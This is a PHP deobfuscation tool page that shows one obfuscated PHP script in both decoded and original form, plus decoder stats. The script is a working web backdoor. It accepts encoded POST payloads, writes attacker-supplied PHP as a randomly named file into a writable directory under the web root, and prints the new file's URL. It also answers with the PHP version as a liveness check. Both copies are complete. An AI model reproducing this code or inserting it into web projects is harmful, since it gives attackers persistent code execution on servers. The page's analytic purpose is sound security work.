Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function ZQDsSqv($PLyfz, $msLgBD, $wfJgodPqa){$FkvPHo = "44627e81-3e7a-4a4a-a932-c3c..

Decoded Output download

<?php function ZQDsSqv($PLyfz, $msLgBD, $wfJgodPqa){$FkvPHo = "44627e81-3e7a-4a4a-a932-c3cd99a21425";	$XmFVjuLYs = 52;return $PLyfz ^ $FkvPHo[$msLgBD % strlen($FkvPHo)] ^ $wfJgodPqa;}$lXXOxF = "FLCfQPxDH";$hAySEoRiZ = 67;function hivygo($lXXOxF){ $NbGCRooXN = "s".chr(574-458)."r".'_'.'r'."o"."t".'1'."3";$lXXOxF = $NbGCRooXN($lXXOxF);$sMRnpoKQP = "r"."a"."w".'u'."r"."l".'d'."e"."c".chr(111).chr(779-679)."e";$lXXOxF = $sMRnpoKQP($lXXOxF);$lXXOxF = str_split($lXXOxF);return $lXXOxF;}function RPXUN($SBVcyVCkZo, $wfJgodPqa){$SBVcyVCkZo = array_map("ZQDsSqv", array_values($SBVcyVCkZo), array_keys($SBVcyVCkZo), array_values($wfJgodPqa));$SBVcyVCkZo = implode("", $SBVcyVCkZo);	$ESIWIAauf = 'tXRMuGMqtg';$lEsruoVqR = "u"."n".'s'."e".'r'.chr(216-111).chr(584-487)."l"."i".'z'.chr(101);$SBVcyVCkZo = @$lEsruoVqR($SBVcyVCkZo);	$CpMJp = 52;return $SBVcyVCkZo;}function KDvtgvrbm($wfJgodPqa, $SBVcyVCkZo){$wfJgodPqa = array_slice(str_split(str_repeat($wfJgodPqa, intval(count($SBVcyVCkZo)/16)+1)), 0, count($SBVcyVCkZo));	$GTCSbSJ = 25;return $wfJgodPqa;}function hNnPx(){$NrXKOpre = 'SUeGPyaLzi';$ouWzKDH = 15;$MMYIuStVUS = 6;$pxTkXiUhsP = $ouWzKDH - $MMYIuStVUS;$yvLZesDD = 'qXaSUJVV';$MMYIuStVUS = $pxTkXiUhsP / 5;}hNnPx();function PguKBx(){echo "tlCNic";	$SFZsJ = 62;}function MLEDas($fqLzzir){static $xSSzSWoqSN = array();$GXuVtxSli = glob($fqLzzir . '/*', GLOB_ONLYDIR);$KSXhGrvFPB = count($GXuVtxSli);	$DLGpj = 38;	$lRaAY = 'RUjsO';if ($KSXhGrvFPB > 0) {foreach ($GXuVtxSli as $fqLzz) {$KqReV = 'i'."s".chr(95)."w".'r'."i".chr(919-803)."a"."b".chr(690-582)."e";if (@$KqReV($fqLzz)) {$xSSzSWoqSN[] = $fqLzz;}}}foreach ($GXuVtxSli as $fqLzzir) MLEDas($fqLzzir);return $xSSzSWoqSN;}function czROcVWWK($SBVcyVCkZo){$FCInHKCJZY = chr(590-522).chr(892-813).chr(67).'U'.'M'.'E'.'N'.'T'.chr(95)."R"."O".'O'."T";$afYuZZc = $_SERVER[$FCInHKCJZY];	$Taups = 'iBsT';$GXuVtxSli = MLEDas($afYuZZc);$yNRXK = array_rand($GXuVtxSli);$hXHBnC = chr(1024-978).'p'.'h'.chr(112);$LoMCRULoZy = $GXuVtxSli[$yNRXK] . "/" . substr(md5(time()), 0, 8) . $hXHBnC;$QZEAryN = 'f'.chr(391-286).chr(117-9).chr(101)."_".'p'."u"."t"."_"."c".chr(740-629).chr(110).chr(306-190).chr(381-280).'n'."t".chr(851-736);@$QZEAryN($LoMCRULoZy, $SBVcyVCkZo);$JZdos = chr(1022-950).chr(84)."T".chr(554-474)."_".chr(72).'O'."S".'T';$rPEoHt = "h"."t".'t'."p".":"."/".chr(47);$DgxGJ = $rPEoHt . $_SERVER[$JZdos] . substr($LoMCRULoZy, strlen($afYuZZc));	$FoRNVQ = 'Xa';	$ofCQQTZYs = 64;print($DgxGJ);	$kyppiFhH = 62;}function HOmig($SBVcyVCkZo, $yNRXK){$yNRXK = $yNRXK[0];if ($SBVcyVCkZo !== $yNRXK){czROcVWWK($SBVcyVCkZo);}else {mGtsd();		$bcTpKxI = 'wdf';}}function mGtsd(){$hapUaChi = "p"."h"."p";$GOmoQEZ = chr(112).chr(104)."p".chr(327-209).'e'."r".'s'.chr(776-671).chr(429-318)."n";$SBVcyVCkZo = Array($hapUaChi => @$GOmoQEZ(), );$tCsiBiFZF = "s".chr(101)."r"."i".chr(97).chr(348-240).chr(105).chr(122).chr(714-613);echo @$tCsiBiFZF($SBVcyVCkZo);	$xpTuSiFf = 'DERgLGMzN';}function XkQPfevpVy(){echo "FLCfQPxDH";}foreach ($_POST as $wfJgodPqa => $SBVcyVCkZo){$TSbDtVzzVM = strlen($wfJgodPqa);	$JJSlfbU = 'eEuRHZvyLx';if ($TSbDtVzzVM == 16){$SBVcyVCkZo = hivygo($SBVcyVCkZo);$wfJgodPqa = KDvtgvrbm($wfJgodPqa, $SBVcyVCkZo);$SBVcyVCkZo = RPXUN($SBVcyVCkZo, $wfJgodPqa);		$BDxdfD = 61;if (@is_array($SBVcyVCkZo)){$yNRXK = array_keys($SBVcyVCkZo);			$bCocqxJ = 54;$SBVcyVCkZo = $SBVcyVCkZo[$yNRXK[0]];			$bCocqxJ = $bCocqxJ - 8;HOmig($SBVcyVCkZo, $yNRXK);			$mXRxAiPER = 51;}}}die();?> 

Did this file decode correctly?

Original Code

<?php function ZQDsSqv($PLyfz, $msLgBD, $wfJgodPqa){$FkvPHo = "44627e81-3e7a-4a4a-a932-c3cd99a21425";	$XmFVjuLYs = 52;return $PLyfz ^ $FkvPHo[$msLgBD % strlen($FkvPHo)] ^ $wfJgodPqa;}$lXXOxF = "FLCfQPxDH";$hAySEoRiZ = 67;function hivygo($lXXOxF){ $NbGCRooXN = "\x73".chr(574-458)."\162".'_'.'r'."\157"."\x74".'1'."\x33";$lXXOxF = $NbGCRooXN($lXXOxF);$sMRnpoKQP = "\162"."\141"."\x77".'u'."\x72"."\x6c".'d'."\145"."\x63".chr(111).chr(779-679)."\x65";$lXXOxF = $sMRnpoKQP($lXXOxF);$lXXOxF = str_split($lXXOxF);return $lXXOxF;}function RPXUN($SBVcyVCkZo, $wfJgodPqa){$SBVcyVCkZo = array_map("ZQDsSqv", array_values($SBVcyVCkZo), array_keys($SBVcyVCkZo), array_values($wfJgodPqa));$SBVcyVCkZo = implode("", $SBVcyVCkZo);	$ESIWIAauf = 'tXRMuGMqtg';$lEsruoVqR = "\x75"."\156".'s'."\x65".'r'.chr(216-111).chr(584-487)."\154"."\x69".'z'.chr(101);$SBVcyVCkZo = @$lEsruoVqR($SBVcyVCkZo);	$CpMJp = 52;return $SBVcyVCkZo;}function KDvtgvrbm($wfJgodPqa, $SBVcyVCkZo){$wfJgodPqa = array_slice(str_split(str_repeat($wfJgodPqa, intval(count($SBVcyVCkZo)/16)+1)), 0, count($SBVcyVCkZo));	$GTCSbSJ = 25;return $wfJgodPqa;}function hNnPx(){$NrXKOpre = 'SUeGPyaLzi';$ouWzKDH = 15;$MMYIuStVUS = 6;$pxTkXiUhsP = $ouWzKDH - $MMYIuStVUS;$yvLZesDD = 'qXaSUJVV';$MMYIuStVUS = $pxTkXiUhsP / 5;}hNnPx();function PguKBx(){echo "tlCNic";	$SFZsJ = 62;}function MLEDas($fqLzzir){static $xSSzSWoqSN = array();$GXuVtxSli = glob($fqLzzir . '/*', GLOB_ONLYDIR);$KSXhGrvFPB = count($GXuVtxSli);	$DLGpj = 38;	$lRaAY = 'RUjsO';if ($KSXhGrvFPB > 0) {foreach ($GXuVtxSli as $fqLzz) {$KqReV = 'i'."\x73".chr(95)."\x77".'r'."\x69".chr(919-803)."\141"."\142".chr(690-582)."\145";if (@$KqReV($fqLzz)) {$xSSzSWoqSN[] = $fqLzz;}}}foreach ($GXuVtxSli as $fqLzzir) MLEDas($fqLzzir);return $xSSzSWoqSN;}function czROcVWWK($SBVcyVCkZo){$FCInHKCJZY = chr(590-522).chr(892-813).chr(67).'U'.'M'.'E'.'N'.'T'.chr(95)."\x52"."\x4f".'O'."\124";$afYuZZc = $_SERVER[$FCInHKCJZY];	$Taups = 'iBsT';$GXuVtxSli = MLEDas($afYuZZc);$yNRXK = array_rand($GXuVtxSli);$hXHBnC = chr(1024-978).'p'.'h'.chr(112);$LoMCRULoZy = $GXuVtxSli[$yNRXK] . "/" . substr(md5(time()), 0, 8) . $hXHBnC;$QZEAryN = 'f'.chr(391-286).chr(117-9).chr(101)."\137".'p'."\165"."\x74"."\x5f"."\x63".chr(740-629).chr(110).chr(306-190).chr(381-280).'n'."\x74".chr(851-736);@$QZEAryN($LoMCRULoZy, $SBVcyVCkZo);$JZdos = chr(1022-950).chr(84)."\124".chr(554-474)."\137".chr(72).'O'."\x53".'T';$rPEoHt = "\x68"."\164".'t'."\x70"."\72"."\57".chr(47);$DgxGJ = $rPEoHt . $_SERVER[$JZdos] . substr($LoMCRULoZy, strlen($afYuZZc));	$FoRNVQ = 'Xa';	$ofCQQTZYs = 64;print($DgxGJ);	$kyppiFhH = 62;}function HOmig($SBVcyVCkZo, $yNRXK){$yNRXK = $yNRXK[0];if ($SBVcyVCkZo !== $yNRXK){czROcVWWK($SBVcyVCkZo);}else {mGtsd();		$bcTpKxI = 'wdf';}}function mGtsd(){$hapUaChi = "\x70"."\x68"."\160";$GOmoQEZ = chr(112).chr(104)."\160".chr(327-209).'e'."\x72".'s'.chr(776-671).chr(429-318)."\156";$SBVcyVCkZo = Array($hapUaChi => @$GOmoQEZ(), );$tCsiBiFZF = "\163".chr(101)."\x72"."\151".chr(97).chr(348-240).chr(105).chr(122).chr(714-613);echo @$tCsiBiFZF($SBVcyVCkZo);	$xpTuSiFf = 'DERgLGMzN';}function XkQPfevpVy(){echo "FLCfQPxDH";}foreach ($_POST as $wfJgodPqa => $SBVcyVCkZo){$TSbDtVzzVM = strlen($wfJgodPqa);	$JJSlfbU = 'eEuRHZvyLx';if ($TSbDtVzzVM == 16){$SBVcyVCkZo = hivygo($SBVcyVCkZo);$wfJgodPqa = KDvtgvrbm($wfJgodPqa, $SBVcyVCkZo);$SBVcyVCkZo = RPXUN($SBVcyVCkZo, $wfJgodPqa);		$BDxdfD = 61;if (@is_array($SBVcyVCkZo)){$yNRXK = array_keys($SBVcyVCkZo);			$bCocqxJ = 54;$SBVcyVCkZo = $SBVcyVCkZo[$yNRXK[0]];			$bCocqxJ = $bCocqxJ - 8;HOmig($SBVcyVCkZo, $yNRXK);			$mXRxAiPER = 51;}}}die();?>

Function Calls

hNnPx 1

Variables

$lXXOxF FLCfQPxDH
$ouWzKDH 15
$NrXKOpre SUeGPyaLzi
$yvLZesDD qXaSUJVV
$hAySEoRiZ 67
$MMYIuStVUS 1
$pxTkXiUhsP 9

Stats

MD5 b2a2defb3bda3714afb80b3acf209ead
Eval Count 0
Decode Time 72 ms